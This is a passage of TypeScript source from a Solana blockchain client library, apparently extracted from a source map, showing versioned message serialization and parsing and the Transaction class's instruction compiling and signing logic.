header: MessageHeader;\n staticAccountKeys: Array<PublicKey>;\n recentBlockhash: Blockhash;\n compiledInstructions: Array<MessageCompiledInstruction>;\n addressTableLookups: Array<MessageAddressTableLookup>;\n\n constructor(args: MessageV0Args) {\n this.header = args.header;\n this.staticAccountKeys = args.staticAccountKeys;\n this.recentBlockhash = args.recentBlockhash;\n this.compiledInstructions = args.compiledInstructions;\n this.addressTableLookups = args.addressTableLookups;\n }\n\n get version(): 0 {\n return 0;\n }\n\n get numAccountKeysFromLookups(): number {\n let count = 0;\n for (const lookup of this.addressTableLookups) {\n count += lookup.readonlyIndexes.length + lookup.writableIndexes.length;\n }\n return count;\n }\n\n getAccountKeys(args?: GetAccountKeysArgs): MessageAccountKeys {\n let accountKeysFromLookups: AccountKeysFromLookups | undefined;\n if (\n args &&\n 'accountKeysFromLookups' in args &&\n args.accountKeysFromLookups\n ) {\n if (\n this.numAccountKeysFromLookups !=\n args.accountKeysFromLookups.writable.length +\n args.accountKeysFromLookups.readonly.length\n ) {\n throw new Error(\n 'Failed to get account keys because of a mismatch in the number of account keys from lookups',\n );\n }\n accountKeysFromLookups = args.accountKeysFromLookups;\n } else if (\n args &&\n 'addressLookupTableAccounts' in args &&\n args.addressLookupTableAccounts\n ) {\n accountKeysFromLookups = this.resolveAddressTableLookups(\n args.addressLookupTableAccounts,\n );\n } else if (this.addressTableLookups.length > 0) {\n throw new Error(\n 'Failed to get account keys because address table lookups were not resolved',\n );\n }\n return new MessageAccountKeys(\n this.staticAccountKeys,\n accountKeysFromLookups,\n );\n }\n\n isAccountSigner(index: number): boolean {\n return index < this.header.numRequiredSignatures;\n }\n\n isAccountWritable(index: number): boolean {\n const numSignedAccounts = this.header.numRequiredSignatures;\n const numStaticAccountKeys = this.staticAccountKeys.length;\n if (index >= numStaticAccountKeys) {\n const lookupAccountKeysIndex = index - numStaticAccountKeys;\n const numWritableLookupAccountKeys = this.addressTableLookups.reduce(\n (count, lookup) => count + lookup.writableIndexes.length,\n 0,\n );\n return lookupAccountKeysIndex < numWritableLookupAccountKeys;\n } else if (index >= this.header.numRequiredSignatures) {\n const unsignedAccountIndex = index - numSignedAccounts;\n const numUnsignedAccounts = numStaticAccountKeys - numSignedAccounts;\n const numWritableUnsignedAccounts =\n numUnsignedAccounts - this.header.numReadonlyUnsignedAccounts;\n return unsignedAccountIndex < numWritableUnsignedAccounts;\n } else {\n const numWritableSignedAccounts =\n numSignedAccounts - this.header.numReadonlySignedAccounts;\n return index < numWritableSignedAccounts;\n }\n }\n\n resolveAddressTableLookups(\n addressLookupTableAccounts: AddressLookupTableAccount[],\n ): AccountKeysFromLookups {\n const accountKeysFromLookups: AccountKeysFromLookups = {\n writable: [],\n readonly: [],\n };\n\n for (const tableLookup of this.addressTableLookups) {\n const tableAccount = addressLookupTableAccounts.find(account =>\n account.key.equals(tableLookup.accountKey),\n );\n if (!tableAccount) {\n throw new Error(\n `Failed to find address lookup table account for table key ${tableLookup.accountKey.toBase58()}`,\n );\n }\n\n for (const index of tableLookup.writableIndexes) {\n if (index < tableAccount.state.addresses.length) {\n accountKeysFromLookups.writable.push(\n tableAccount.state.addresses[index],\n );\n } else {\n throw new Error(\n `Failed to find address for index ${index} in address lookup table ${tableLookup.accountKey.toBase58()}`,\n );\n }\n }\n\n for (const index of tableLookup.readonlyIndexes) {\n if (index < tableAccount.state.addresses.length) {\n accountKeysFromLookups.readonly.push(\n tableAccount.state.addresses[index],\n );\n } else {\n throw new Error(\n `Failed to find address for index ${index} in address lookup table ${tableLookup.accountKey.toBase58()}`,\n );\n }\n }\n }\n\n return accountKeysFromLookups;\n }\n\n static compile(args: CompileV0Args): MessageV0 {\n const compiledKeys = CompiledKeys.compile(args.instructions, args.payerKey);\n\n const addressTableLookups = new Array<MessageAddressTableLookup>();\n const accountKeysFromLookups: AccountKeysFromLookups = {\n writable: new Array(),\n readonly: new Array(),\n };\n const lookupTableAccounts = args.addressLookupTableAccounts || [];\n for (const lookupTable of lookupTableAccounts) {\n const extractResult = compiledKeys.extractTableLookup(lookupTable);\n if (extractResult !== undefined) {\n const [addressTableLookup, {writable, readonly}] = extractResult;\n addressTableLookups.push(addressTableLookup);\n accountKeysFromLookups.writable.push(...writable);\n accountKeysFromLookups.readonly.push(...readonly);\n }\n }\n\n const [header, staticAccountKeys] = compiledKeys.getMessageComponents();\n const accountKeys = new MessageAccountKeys(\n staticAccountKeys,\n accountKeysFromLookups,\n );\n const compiledInstructions = accountKeys.compileInstructions(\n args.instructions,\n );\n return new MessageV0({\n header,\n staticAccountKeys,\n recentBlockhash: args.recentBlockhash,\n compiledInstructions,\n addressTableLookups,\n });\n }\n\n serialize(): Uint8Array {\n const encodedStaticAccountKeysLength = Array<number>();\n shortvec.encodeLength(\n encodedStaticAccountKeysLength,\n this.staticAccountKeys.length,\n );\n\n const serializedInstructions = this.serializeInstructions();\n const encodedInstructionsLength = Array<number>();\n shortvec.encodeLength(\n encodedInstructionsLength,\n this.compiledInstructions.length,\n );\n\n const serializedAddressTableLookups = this.serializeAddressTableLookups();\n const encodedAddressTableLookupsLength = Array<number>();\n shortvec.encodeLength(\n encodedAddressTableLookupsLength,\n this.addressTableLookups.length,\n );\n\n const messageLayout = BufferLayout.struct<{\n prefix: number;\n header: MessageHeader;\n staticAccountKeysLength: Uint8Array;\n staticAccountKeys: Array<Uint8Array>;\n recentBlockhash: Uint8Array;\n instructionsLength: Uint8Array;\n serializedInstructions: Uint8Array;\n addressTableLookupsLength: Uint8Array;\n serializedAddressTableLookups: Uint8Array;\n }>([\n BufferLayout.u8('prefix'),\n BufferLayout.struct<MessageHeader>(\n [\n BufferLayout.u8('numRequiredSignatures'),\n BufferLayout.u8('numReadonlySignedAccounts'),\n BufferLayout.u8('numReadonlyUnsignedAccounts'),\n ],\n 'header',\n ),\n BufferLayout.blob(\n encodedStaticAccountKeysLength.length,\n 'staticAccountKeysLength',\n ),\n BufferLayout.seq(\n Layout.publicKey(),\n this.staticAccountKeys.length,\n 'staticAccountKeys',\n ),\n Layout.publicKey('recentBlockhash'),\n BufferLayout.blob(encodedInstructionsLength.length, 'instructionsLength'),\n BufferLayout.blob(\n serializedInstructions.length,\n 'serializedInstructions',\n ),\n BufferLayout.blob(\n encodedAddressTableLookupsLength.length,\n 'addressTableLookupsLength',\n ),\n BufferLayout.blob(\n serializedAddressTableLookups.length,\n 'serializedAddressTableLookups',\n ),\n ]);\n\n const serializedMessage = new Uint8Array(PACKET_DATA_SIZE);\n const MESSAGE_VERSION_0_PREFIX = 1 << 7;\n const serializedMessageLength = messageLayout.encode(\n {\n prefix: MESSAGE_VERSION_0_PREFIX,\n header: this.header,\n staticAccountKeysLength: new Uint8Array(encodedStaticAccountKeysLength),\n staticAccountKeys: this.staticAccountKeys.map(key => key.toBytes()),\n recentBlockhash: bs58.decode(this.recentBlockhash),\n instructionsLength: new Uint8Array(encodedInstructionsLength),\n serializedInstructions,\n addressTableLookupsLength: new Uint8Array(\n encodedAddressTableLookupsLength,\n ),\n serializedAddressTableLookups,\n },\n serializedMessage,\n );\n return serializedMessage.slice(0, serializedMessageLength);\n }\n\n private serializeInstructions(): Uint8Array {\n let serializedLength = 0;\n const serializedInstructions = new Uint8Array(PACKET_DATA_SIZE);\n for (const instruction of this.compiledInstructions) {\n const encodedAccountKeyIndexesLength = Array<number>();\n shortvec.encodeLength(\n encodedAccountKeyIndexesLength,\n instruction.accountKeyIndexes.length,\n );\n\n const encodedDataLength = Array<number>();\n shortvec.encodeLength(encodedDataLength, instruction.data.length);\n\n const instructionLayout = BufferLayout.struct<{\n programIdIndex: number;\n encodedAccountKeyIndexesLength: Uint8Array;\n accountKeyIndexes: number[];\n encodedDataLength: Uint8Array;\n data: Uint8Array;\n }>([\n BufferLayout.u8('programIdIndex'),\n BufferLayout.blob(\n encodedAccountKeyIndexesLength.length,\n 'encodedAccountKeyIndexesLength',\n ),\n BufferLayout.seq(\n BufferLayout.u8(),\n instruction.accountKeyIndexes.length,\n 'accountKeyIndexes',\n ),\n BufferLayout.blob(encodedDataLength.length, 'encodedDataLength'),\n BufferLayout.blob(instruction.data.length, 'data'),\n ]);\n\n serializedLength += instructionLayout.encode(\n {\n programIdIndex: instruction.programIdIndex,\n encodedAccountKeyIndexesLength: new Uint8Array(\n encodedAccountKeyIndexesLength,\n ),\n accountKeyIndexes: instruction.accountKeyIndexes,\n encodedDataLength: new Uint8Array(encodedDataLength),\n data: instruction.data,\n },\n serializedInstructions,\n serializedLength,\n );\n }\n\n return serializedInstructions.slice(0, serializedLength);\n }\n\n private serializeAddressTableLookups(): Uint8Array {\n let serializedLength = 0;\n const serializedAddressTableLookups = new Uint8Array(PACKET_DATA_SIZE);\n for (const lookup of this.addressTableLookups) {\n const encodedWritableIndexesLength = Array<number>();\n shortvec.encodeLength(\n encodedWritableIndexesLength,\n lookup.writableIndexes.length,\n );\n\n const encodedReadonlyIndexesLength = Array<number>();\n shortvec.encodeLength(\n encodedReadonlyIndexesLength,\n lookup.readonlyIndexes.length,\n );\n\n const addressTableLookupLayout = BufferLayout.struct<{\n accountKey: Uint8Array;\n encodedWritableIndexesLength: Uint8Array;\n writableIndexes: number[];\n encodedReadonlyIndexesLength: Uint8Array;\n readonlyIndexes: number[];\n }>([\n Layout.publicKey('accountKey'),\n BufferLayout.blob(\n encodedWritableIndexesLength.length,\n 'encodedWritableIndexesLength',\n ),\n BufferLayout.seq(\n BufferLayout.u8(),\n lookup.writableIndexes.length,\n 'writableIndexes',\n ),\n BufferLayout.blob(\n encodedReadonlyIndexesLength.length,\n 'encodedReadonlyIndexesLength',\n ),\n BufferLayout.seq(\n BufferLayout.u8(),\n lookup.readonlyIndexes.length,\n 'readonlyIndexes',\n ),\n ]);\n\n serializedLength += addressTableLookupLayout.encode(\n {\n accountKey: lookup.accountKey.toBytes(),\n encodedWritableIndexesLength: new Uint8Array(\n encodedWritableIndexesLength,\n ),\n writableIndexes: lookup.writableIndexes,\n encodedReadonlyIndexesLength: new Uint8Array(\n encodedReadonlyIndexesLength,\n ),\n readonlyIndexes: lookup.readonlyIndexes,\n },\n serializedAddressTableLookups,\n serializedLength,\n );\n }\n\n return serializedAddressTableLookups.slice(0, serializedLength);\n }\n\n static deserialize(serializedMessage: Uint8Array): MessageV0 {\n let byteArray = [...serializedMessage];\n\n const prefix = guardedShift(byteArray);\n const maskedPrefix = prefix & VERSION_PREFIX_MASK;\n assert(\n prefix !== maskedPrefix,\n `Expected versioned message but received legacy message`,\n );\n\n const version = maskedPrefix;\n assert(\n version === 0,\n `Expected versioned message with version 0 but found version ${version}`,\n );\n\n const header: MessageHeader = {\n numRequiredSignatures: guardedShift(byteArray),\n numReadonlySignedAccounts: guardedShift(byteArray),\n numReadonlyUnsignedAccounts: guardedShift(byteArray),\n };\n\n const staticAccountKeys = [];\n const staticAccountKeysLength = shortvec.decodeLength(byteArray);\n for (let i = 0; i < staticAccountKeysLength; i++) {\n staticAccountKeys.push(\n new PublicKey(guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH)),\n );\n }\n\n const recentBlockhash = bs58.encode(\n guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH),\n );\n\n const instructionCount = shortvec.decodeLength(byteArray);\n const compiledInstructions: MessageCompiledInstruction[] = [];\n for (let i = 0; i < instructionCount; i++) {\n const programIdIndex = guardedShift(byteArray);\n const accountKeyIndexesLength = shortvec.decodeLength(byteArray);\n const accountKeyIndexes = guardedSplice(\n byteArray,\n 0,\n accountKeyIndexesLength,\n );\n const dataLength = shortvec.decodeLength(byteArray);\n const data = new Uint8Array(guardedSplice(byteArray, 0, dataLength));\n compiledInstructions.push({\n programIdIndex,\n accountKeyIndexes,\n data,\n });\n }\n\n const addressTableLookupsCount = shortvec.decodeLength(byteArray);\n const addressTableLookups: MessageAddressTableLookup[] = [];\n for (let i = 0; i < addressTableLookupsCount; i++) {\n const accountKey = new PublicKey(\n guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH),\n );\n const writableIndexesLength = shortvec.decodeLength(byteArray);\n const writableIndexes = guardedSplice(\n byteArray,\n 0,\n writableIndexesLength,\n );\n const readonlyIndexesLength = shortvec.decodeLength(byteArray);\n const readonlyIndexes = guardedSplice(\n byteArray,\n 0,\n readonlyIndexesLength,\n );\n addressTableLookups.push({\n accountKey,\n writableIndexes,\n readonlyIndexes,\n });\n }\n\n return new MessageV0({\n header,\n staticAccountKeys,\n recentBlockhash,\n compiledInstructions,\n addressTableLookups,\n });\n }\n}\n","import {VERSION_PREFIX_MASK} from '../transaction/constants';\nimport {Message} from './legacy';\nimport {MessageV0} from './v0';\n\nexport type VersionedMessage = Message | MessageV0;\n// eslint-disable-next-line no-redeclare\nexport const VersionedMessage = {\n deserializeMessageVersion(serializedMessage: Uint8Array): 'legacy' | number {\n const prefix = serializedMessage[0];\n const maskedPrefix = prefix & VERSION_PREFIX_MASK;\n\n // if the highest bit of the prefix is not set, the message is not versioned\n if (maskedPrefix === prefix) {\n return 'legacy';\n }\n\n // the lower 7 bits of the prefix indicate the message version\n return maskedPrefix;\n },\n\n deserialize: (serializedMessage: Uint8Array): VersionedMessage => {\n const version =\n VersionedMessage.deserializeMessageVersion(serializedMessage);\n if (version === 'legacy') {\n return Message.from(serializedMessage);\n }\n\n if (version === 0) {\n return MessageV0.deserialize(serializedMessage);\n } else {\n throw new Error(\n `Transaction message version ${version} deserialization is not supported`,\n );\n }\n },\n};\n","import bs58 from 'bs58';\nimport {Buffer} from 'buffer';\n\nimport {PACKET_DATA_SIZE, SIGNATURE_LENGTH_IN_BYTES} from './constants';\nimport {Connection} from '../connection';\nimport {Message} from '../message';\nimport {PublicKey} from '../publickey';\nimport * as shortvec from '../utils/shortvec-encoding';\nimport {toBuffer} from '../utils/to-buffer';\nimport invariant from '../utils/assert';\nimport type {Signer} from '../keypair';\nimport type {Blockhash} from '../blockhash';\nimport type {CompiledInstruction} from '../message';\nimport {sign, verify} from '../utils/ed25519';\nimport {guardedSplice} from '../utils/guarded-array-utils';\n\n/** @internal */\ntype MessageSignednessErrors = {\n invalid?: PublicKey[];\n missing?: PublicKey[];\n};\n\n/**\n * Transaction signature as base-58 encoded string\n */\nexport type TransactionSignature = string;\n\nexport const enum TransactionStatus {\n BLOCKHEIGHT_EXCEEDED,\n PROCESSED,\n TIMED_OUT,\n NONCE_INVALID,\n}\n\n/**\n * Default (empty) signature\n */\nconst DEFAULT_SIGNATURE = Buffer.alloc(SIGNATURE_LENGTH_IN_BYTES).fill(0);\n\n/**\n * Account metadata used to define instructions\n */\nexport type AccountMeta = {\n /** An account's public key */\n pubkey: PublicKey;\n /** True if an instruction requires a transaction signature matching `pubkey` */\n isSigner: boolean;\n /** True if the `pubkey` can be loaded as a read-write account. */\n isWritable: boolean;\n};\n\n/**\n * List of TransactionInstruction object fields that may be initialized at construction\n */\nexport type TransactionInstructionCtorFields = {\n keys: Array<AccountMeta>;\n programId: PublicKey;\n data?: Buffer;\n};\n\n/**\n * Configuration object for Transaction.serialize()\n */\nexport type SerializeConfig = {\n /** Require all transaction signatures be present (default: true) */\n requireAllSignatures?: boolean;\n /** Verify provided signatures (default: true) */\n verifySignatures?: boolean;\n};\n\n/**\n * @internal\n */\nexport interface TransactionInstructionJSON {\n keys: {\n pubkey: string;\n isSigner: boolean;\n isWritable: boolean;\n }[];\n programId: string;\n data: number[];\n}\n\n/**\n * Transaction Instruction class\n */\nexport class TransactionInstruction {\n /**\n * Public keys to include in this transaction\n * Boolean represents whether this pubkey needs to sign the transaction\n */\n keys: Array<AccountMeta>;\n\n /**\n * Program Id to execute\n */\n programId: PublicKey;\n\n /**\n * Program input\n */\n data: Buffer = Buffer.alloc(0);\n\n constructor(opts: TransactionInstructionCtorFields) {\n this.programId = opts.programId;\n this.keys = opts.keys;\n if (opts.data) {\n this.data = opts.data;\n }\n }\n\n /**\n * @internal\n */\n toJSON(): TransactionInstructionJSON {\n return {\n keys: this.keys.map(({pubkey, isSigner, isWritable}) => ({\n pubkey: pubkey.toJSON(),\n isSigner,\n isWritable,\n })),\n programId: this.programId.toJSON(),\n data: [...this.data],\n };\n }\n}\n\n/**\n * Pair of signature and corresponding public key\n */\nexport type SignaturePubkeyPair = {\n signature: Buffer | null;\n publicKey: PublicKey;\n};\n\n/**\n * List of Transaction object fields that may be initialized at construction\n */\nexport type TransactionCtorFields_DEPRECATED = {\n /** Optional nonce information used for offline nonce'd transactions */\n nonceInfo?: NonceInformation | null;\n /** The transaction fee payer */\n feePayer?: PublicKey | null;\n /** One or more signatures */\n signatures?: Array<SignaturePubkeyPair>;\n /** A recent blockhash */\n recentBlockhash?: Blockhash;\n};\n\n// For backward compatibility; an unfortunate consequence of being\n// forced to over-export types by the documentation generator.\n// See https://github.com/solana-labs/solana/pull/25820\nexport type TransactionCtorFields = TransactionCtorFields_DEPRECATED;\n\n/**\n * Blockhash-based transactions have a lifetime that are defined by\n * the blockhash they include. Any transaction whose blockhash is\n * too old will be rejected.\n */\nexport type TransactionBlockhashCtor = {\n /** The transaction fee payer */\n feePayer?: PublicKey | null;\n /** One or more signatures */\n signatures?: Array<SignaturePubkeyPair>;\n /** A recent blockhash */\n blockhash: Blockhash;\n /** the last block chain can advance to before tx is declared expired */\n lastValidBlockHeight: number;\n};\n\n/**\n * Use these options to construct a durable nonce transaction.\n */\nexport type TransactionNonceCtor = {\n /** The transaction fee payer */\n feePayer?: PublicKey | null;\n minContextSlot: number;\n nonceInfo: NonceInformation;\n /** One or more signatures */\n signatures?: Array<SignaturePubkeyPair>;\n};\n\n/**\n * Nonce information to be used to build an offline Transaction.\n */\nexport type NonceInformation = {\n /** The current blockhash stored in the nonce */\n nonce: Blockhash;\n /** AdvanceNonceAccount Instruction */\n nonceInstruction: TransactionInstruction;\n};\n\n/**\n * @internal\n */\nexport interface TransactionJSON {\n recentBlockhash: string | null;\n feePayer: string | null;\n nonceInfo: {\n nonce: string;\n nonceInstruction: TransactionInstructionJSON;\n } | null;\n instructions: TransactionInstructionJSON[];\n signers: string[];\n}\n\n/**\n * Transaction class\n */\nexport class Transaction {\n /**\n * Signatures for the transaction. Typically created by invoking the\n * `sign()` method\n */\n signatures: Array<SignaturePubkeyPair> = [];\n\n /**\n * The first (payer) Transaction signature\n *\n * @returns {Buffer | null} Buffer of payer's signature\n */\n get signature(): Buffer | null {\n if (this.signatures.length > 0) {\n return this.signatures[0].signature;\n }\n return null;\n }\n\n /**\n * The transaction fee payer\n */\n feePayer?: PublicKey;\n\n /**\n * The instructions to atomically execute\n */\n instructions: Array<TransactionInstruction> = [];\n\n /**\n * A recent transaction id. Must be populated by the caller\n */\n recentBlockhash?: Blockhash;\n\n /**\n * the last block chain can advance to before tx is declared expired\n * */\n lastValidBlockHeight?: number;\n\n /**\n * Optional Nonce information. If populated, transaction will use a durable\n * Nonce hash instead of a recentBlockhash. Must be populated by the caller\n */\n nonceInfo?: NonceInformation;\n\n /**\n * If this is a nonce transaction this represents the minimum slot from which\n * to evaluate if the nonce has advanced when attempting to confirm the\n * transaction. This protects against a case where the transaction confirmation\n * logic loads the nonce account from an old slot and assumes the mismatch in\n * nonce value implies that the nonce has been advanced.\n */\n minNonceContextSlot?: number;\n\n /**\n * @internal\n */\n _message?: Message;\n\n /**\n * @internal\n */\n _json?: TransactionJSON;\n\n // Construct a transaction with a blockhash and lastValidBlockHeight\n constructor(opts?: TransactionBlockhashCtor);\n\n // Construct a transaction using a durable nonce\n constructor(opts?: TransactionNonceCtor);\n\n /**\n * @deprecated `TransactionCtorFields` has been deprecated and will be removed in a future version.\n * Please supply a `TransactionBlockhashCtor` instead.\n */\n constructor(opts?: TransactionCtorFields_DEPRECATED);\n\n /**\n * Construct an empty Transaction\n */\n constructor(\n opts?:\n | TransactionBlockhashCtor\n | TransactionNonceCtor\n | TransactionCtorFields_DEPRECATED,\n ) {\n if (!opts) {\n return;\n }\n if (opts.feePayer) {\n this.feePayer = opts.feePayer;\n }\n if (opts.signatures) {\n this.signatures = opts.signatures;\n }\n if (Object.prototype.hasOwnProperty.call(opts, 'nonceInfo')) {\n const {minContextSlot, nonceInfo} = opts as TransactionNonceCtor;\n this.minNonceContextSlot = minContextSlot;\n this.nonceInfo = nonceInfo;\n } else if (\n Object.prototype.hasOwnProperty.call(opts, 'lastValidBlockHeight')\n ) {\n const {blockhash, lastValidBlockHeight} =\n opts as TransactionBlockhashCtor;\n this.recentBlockhash = blockhash;\n this.lastValidBlockHeight = lastValidBlockHeight;\n } else {\n const {recentBlockhash, nonceInfo} =\n opts as TransactionCtorFields_DEPRECATED;\n if (nonceInfo) {\n this.nonceInfo = nonceInfo;\n }\n this.recentBlockhash = recentBlockhash;\n }\n }\n\n /**\n * @internal\n */\n toJSON(): TransactionJSON {\n return {\n recentBlockhash: this.recentBlockhash || null,\n feePayer: this.feePayer ? this.feePayer.toJSON() : null,\n nonceInfo: this.nonceInfo\n ? {\n nonce: this.nonceInfo.nonce,\n nonceInstruction: this.nonceInfo.nonceInstruction.toJSON(),\n }\n : null,\n instructions: this.instructions.map(instruction => instruction.toJSON()),\n signers: this.signatures.map(({publicKey}) => {\n return publicKey.toJSON();\n }),\n };\n }\n\n /**\n * Add one or more instructions to this Transaction\n *\n * @param {Array< Transaction | TransactionInstruction | TransactionInstructionCtorFields >} items - Instructions to add to the Transaction\n */\n add(\n ...items: Array<\n Transaction | TransactionInstruction | TransactionInstructionCtorFields\n >\n ): Transaction {\n if (items.length === 0) {\n throw new Error('No instructions');\n }\n\n items.forEach((item: any) => {\n if ('instructions' in item) {\n this.instructions = this.instructions.concat(item.instructions);\n } else if ('data' in item && 'programId' in item && 'keys' in item) {\n this.instructions.push(item);\n } else {\n this.instructions.push(new TransactionInstruction(item));\n }\n });\n return this;\n }\n\n /**\n * Compile transaction data\n */\n compileMessage(): Message {\n if (\n this._message &&\n JSON.stringify(this.toJSON()) === JSON.stringify(this._json)\n ) {\n return this._message;\n }\n\n let recentBlockhash;\n let instructions: TransactionInstruction[];\n if (this.nonceInfo) {\n recentBlockhash = this.nonceInfo.nonce;\n if (this.instructions[0] != this.nonceInfo.nonceInstruction) {\n instructions = [this.nonceInfo.nonceInstruction, ...this.instructions];\n } else {\n instructions = this.instructions;\n }\n } else {\n recentBlockhash = this.recentBlockhash;\n instructions = this.instructions;\n }\n if (!recentBlockhash) {\n throw new Error('Transaction recentBlockhash required');\n }\n\n if (instructions.length < 1) {\n console.warn('No instructions provided');\n }\n\n let feePayer: PublicKey;\n if (this.feePayer) {\n feePayer = this.feePayer;\n } else if (this.signatures.length > 0 && this.signatures[0].publicKey) {\n // Use implicit fee payer\n feePayer = this.signatures[0].publicKey;\n } else {\n throw new Error('Transaction fee payer required');\n }\n\n for (let i = 0; i < instructions.length; i++) {\n if (instructions[i].programId === undefined) {\n throw new Error(\n `Transaction instruction index ${i} has undefined program id`,\n );\n }\n }\n\n const programIds: string[] = [];\n const accountMetas: AccountMeta[] = [];\n instructions.forEach(instruction => {\n instruction.keys.forEach(accountMeta => {\n accountMetas.push({...accountMeta});\n });\n\n const programId = instruction.programId.toString();\n if (!programIds.includes(programId)) {\n programIds.push(programId);\n }\n });\n\n // Append programID account metas\n programIds.forEach(programId => {\n accountMetas.push({\n pubkey: new PublicKey(programId),\n isSigner: false,\n isWritable: false,\n });\n });\n\n // Cull duplicate account metas\n const uniqueMetas: AccountMeta[] = [];\n accountMetas.forEach(accountMeta => {\n const pubkeyString = accountMeta.pubkey.toString();\n const uniqueIndex = uniqueMetas.findIndex(x => {\n return x.pubkey.toString() === pubkeyString;\n });\n if (uniqueIndex > -1) {\n uniqueMetas[uniqueIndex].isWritable =\n uniqueMetas[uniqueIndex].isWritable || accountMeta.isWritable;\n uniqueMetas[uniqueIndex].isSigner =\n uniqueMetas[uniqueIndex].isSigner || accountMeta.isSigner;\n } else {\n uniqueMetas.push(accountMeta);\n }\n });\n\n // Sort. Prioritizing first by signer, then by writable\n uniqueMetas.sort(function (x, y) {\n if (x.isSigner !== y.isSigner) {\n // Signers always come before non-signers\n return x.isSigner ? -1 : 1;\n }\n if (x.isWritable !== y.isWritable) {\n // Writable accounts always come before read-only accounts\n return x.isWritable ? -1 : 1;\n }\n // Otherwise, sort by pubkey, stringwise.\n const options = {\n localeMatcher: 'best fit',\n usage: 'sort',\n sensitivity: 'variant',\n ignorePunctuation: false,\n numeric: false,\n caseFirst: 'lower',\n } as Intl.CollatorOptions;\n return x.pubkey\n .toBase58()\n .localeCompare(y.pubkey.toBase58(), 'en', options);\n });\n\n // Move fee payer to the front\n const feePayerIndex = uniqueMetas.findIndex(x => {\n return x.pubkey.equals(feePayer);\n });\n if (feePayerIndex > -1) {\n const [payerMeta] = uniqueMetas.splice(feePayerIndex, 1);\n payerMeta.isSigner = true;\n payerMeta.isWritable = true;\n uniqueMetas.unshift(payerMeta);\n } else {\n uniqueMetas.unshift({\n pubkey: feePayer,\n isSigner: true,\n isWritable: true,\n });\n }\n\n // Disallow unknown signers\n for (const signature of this.signatures) {\n const uniqueIndex = uniqueMetas.findIndex(x => {\n return x.pubkey.equals(signature.publicKey);\n });\n if (uniqueIndex > -1) {\n if (!uniqueMetas[uniqueIndex].isSigner) {\n uniqueMetas[uniqueIndex].isSigner = true;\n console.warn(\n 'Transaction references a signature that is unnecessary, ' +\n 'only the fee payer and instruction signer accounts should sign a transaction. ' +\n 'This behavior is deprecated and will throw an error in the next major version release.',\n );\n }\n } else {\n throw new Error(`unknown signer: ${signature.publicKey.toString()}`);\n }\n }\n\n let numRequiredSignatures = 0;\n let numReadonlySignedAccounts = 0;\n let numReadonlyUnsignedAccounts = 0;\n\n // Split out signing from non-signing keys and count header values\n const signedKeys: string[] = [];\n const unsignedKeys: string[] = [];\n uniqueMetas.forEach(({pubkey, isSigner, isWritable}) => {\n if (isSigner) {\n signedKeys.push(pubkey.toString());\n numRequiredSignatures += 1;\n if (!isWritable) {\n numReadonlySignedAccounts += 1;\n }\n } else {\n unsignedKeys.push(pubkey.toString());\n if (!isWritable) {\n numReadonlyUnsignedAccounts += 1;\n }\n }\n });\n\n const accountKeys = signedKeys.concat(unsignedKeys);\n const compiledInstructions: CompiledInstruction[] = instructions.map(\n instruction => {\n const {data, programId} = instruction;\n return {\n programIdIndex: accountKeys.indexOf(programId.toString()),\n accounts: instruction.keys.map(meta =>\n accountKeys.indexOf(meta.pubkey.toString()),\n ),\n data: bs58.encode(data),\n };\n },\n );\n\n compiledInstructions.forEach(instruction => {\n invariant(instruction.programIdIndex >= 0);\n instruction.accounts.forEach(keyIndex => invariant(keyIndex >= 0));\n });\n\n return new Message({\n header: {\n numRequiredSignatures,\n numReadonlySignedAccounts,\n numReadonlyUnsignedAccounts,\n },\n accountKeys,\n recentBlockhash,\n instructions: compiledInstructions,\n });\n }\n\n /**\n * @internal\n */\n _compile(): Message {\n const message = this.compileMessage();\n const signedKeys = message.accountKeys.slice(\n 0,\n message.header.numRequiredSignatures,\n );\n\n if (this.signatures.length === signedKeys.length) {\n const valid = this.signatures.every((pair, index) => {\n return signedKeys[index].equals(pair.publicKey);\n });\n\n if (valid) return message;\n }\n\n this.signatures = signedKeys.map(publicKey => ({\n signature: null,\n publicKey,\n }));\n\n return message;\n }\n\n /**\n * Get a buffer of the Transaction data that need to be covered by signatures\n */\n serializeMessage(): Buffer {\n return this._compile().serialize();\n }\n\n /**\n * Get the estimated fee associated with a transaction\n *\n * @param {Connection} connection Connection to RPC Endpoint.\n *\n * @returns {Promise<number | null>} The estimated fee for the transaction\n */\n async getEstimatedFee(connection: Connection): Promise<number | null> {\n return (await connection.getFeeForMessage(this.compileMessage())).value;\n }\n\n /**\n * Specify the public keys which will be used to sign the Transaction.\n * The first signer will be used as the transaction fee payer account.\n *\n * Signatures can be added with either `partialSign` or `addSignature`\n *\n * @deprecated Deprecated since v0.84.0. Only the fee payer needs to be\n * specified and it can be set in the Transaction constructor or with the\n * `feePayer` property.\n */\n setSigners(...signers: Array<PublicKey>) {\n if (signers.length === 0) {\n throw new Error('No signers');\n }\n\n const seen = new Set();\n this.signatures = signers\n .filter(publicKey => {\n const key = publicKey.toString();\n if (seen.has(key)) {\n return false;\n } else {\n seen.add(key);\n return true;\n }\n })\n .map(publicKey => ({signature: null, publicKey}));\n }\n\n /**\n * Sign the Transaction with the specified signers. Multiple signatures may\n * be applied to a Transaction. The first signature is considered \"primary\"\n * and is used identify and confirm transactions.\n *\n * If the Transaction `feePayer` is not set, the first signer will be used\n * as the transaction fee payer account.\n *\n * Transaction fields should not be modified after the first call to `sign`,\n * as doing so may invalidate the signature and cause the Transaction to be\n * rejected.\n *\n * The Transaction must be assigned a valid `recentBlockhash` before invoking this method\n *\n * @param {Array<Signer>} signers Array of signers that will sign the transaction\n */\n sign(...signers: Array<Signer>) {\n if (signers.length === 0) {\n throw new Error('No signers');\n }\n\n // Dedupe signers\n const seen = new Set();\n const uniqueSigners = [];\n for (const signer of signers) {\n const key = signer.publicKey.toString();\n if (seen.has(key)) {\n continue;\n } else {\n seen.add(key);\n uniqueSigners.push(signer);\n }\n }\n\n this.signatures = uniqueSigners.map(signer => ({\n signature: null,\n publicKey: signer.publicKey,\n }));\n\n const message = this._compile();\n this._partialSign(message, ...uniqueSigners);\n }\n\n /**\n * Partially sign a transaction with the specified accounts. All accounts must\n * correspond to either the fee payer or a signer account in the transaction\n * instructions.\n *\n * All the caveats from the `sign` method apply to `partialSign`\n *\n * @param {Array<Signer>} signers Array of signers that will sign the transaction\n */\n partialSign(...signers: Array<Signer>) {\n if (signers.length === 0) {\n throw new Error('No signers');\n }\n\n // Dedupe signers\n const seen = new Set();\n const uniqueSigners = [];\n for (const signer of signers) {\n const key = signer.publicKey.toString();\n if 